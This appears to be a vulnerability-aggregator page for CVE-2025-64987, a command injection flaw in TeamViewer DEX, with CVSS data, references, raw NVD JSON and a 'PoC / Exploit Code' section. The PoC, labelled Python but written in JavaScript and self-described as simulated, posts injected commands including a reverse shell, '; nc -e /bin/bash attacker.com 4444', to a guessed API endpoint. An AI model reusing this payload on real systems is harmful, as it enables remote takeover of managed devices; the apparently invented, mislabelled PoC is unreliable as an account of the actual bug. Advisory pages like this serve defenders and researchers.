CVE-2025-64987

Description

A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Explorer-TachyonCore-CheckSimpleIoC instruction. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:* - VULNERABLE

TeamViewer DEX < specific_fixed_version

1E DEX (TachyonCore) < patched_version

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-64987 PoC - TeamViewer DEX Command Injection
// Target: 1E-Explorer-TachyonCore CheckSimpleIoC instruction
// Note: This is a simulated PoC for educational purposes only

const axios = require('axios');

// Configuration
const TARGET_URL = 'https://target-server/DEX/api/tachyon';
const ATTACKER_TOKEN = 'authenticated_actioner_token'; // Requires Actioner privileges

// Malicious payload to inject command
// The CheckSimpleIoC instruction does not properly sanitize input
const maliciousPayload = {
    instruction: 'CheckSimpleIoC',
    parameters: {
        // Original parameter
        ioc_value: 'test_value',
        // Injected command via parameter manipulation
        // The vulnerable code concatenates this directly into system() call
        __proto__: {
            command: '; nc -e /bin/bash attacker.com 4444'
        }
    }
};

async function exploit() {
    try {
        const response = await axios.post(TARGET_URL + '/execute', maliciousPayload, {
            headers: {
                'Authorization': `Bearer ${ATTACKER_TOKEN}`,
                'Content-Type': 'application/json'
            },
            timeout: 10000
        });
        
        console.log('[+] Request sent');
        console.log('[+] Response:', response.data);
        
        // Alternative injection via standard parameter
        const altPayload = {
            instruction: 'CheckSimpleIoC',
            parameters: {
                ioc_value: 'value; whoami > /tmp/pwned.txt'
            }
        };
        
        const altResponse = await axios.post(TARGET_URL + '/execute', altPayload, {
            headers: {
                'Authorization': `Bearer ${ATTACKER_TOKEN}`,
                'Content-Type': 'application/json'
            }
        });
        
        console.log('[+] Alternative payload sent');
        console.log('[+] Response:', altResponse.data);
        
    } catch (error) {
        console.error('[-] Error:', error.message);
    }
}

// Execute exploit
exploit();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64987
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64987
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64987/
[4] VulDB https://vuldb.com/cve/CVE-2025-64987
[5] https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64987", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.537", "lastModified": "2026-01-14T19:58:20.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Explorer-TachyonCore-CheckSimpleIoC instruction. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.0", "matchCriteriaId": "86C851A4-69F1-4E48-994B-545A2092E502"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}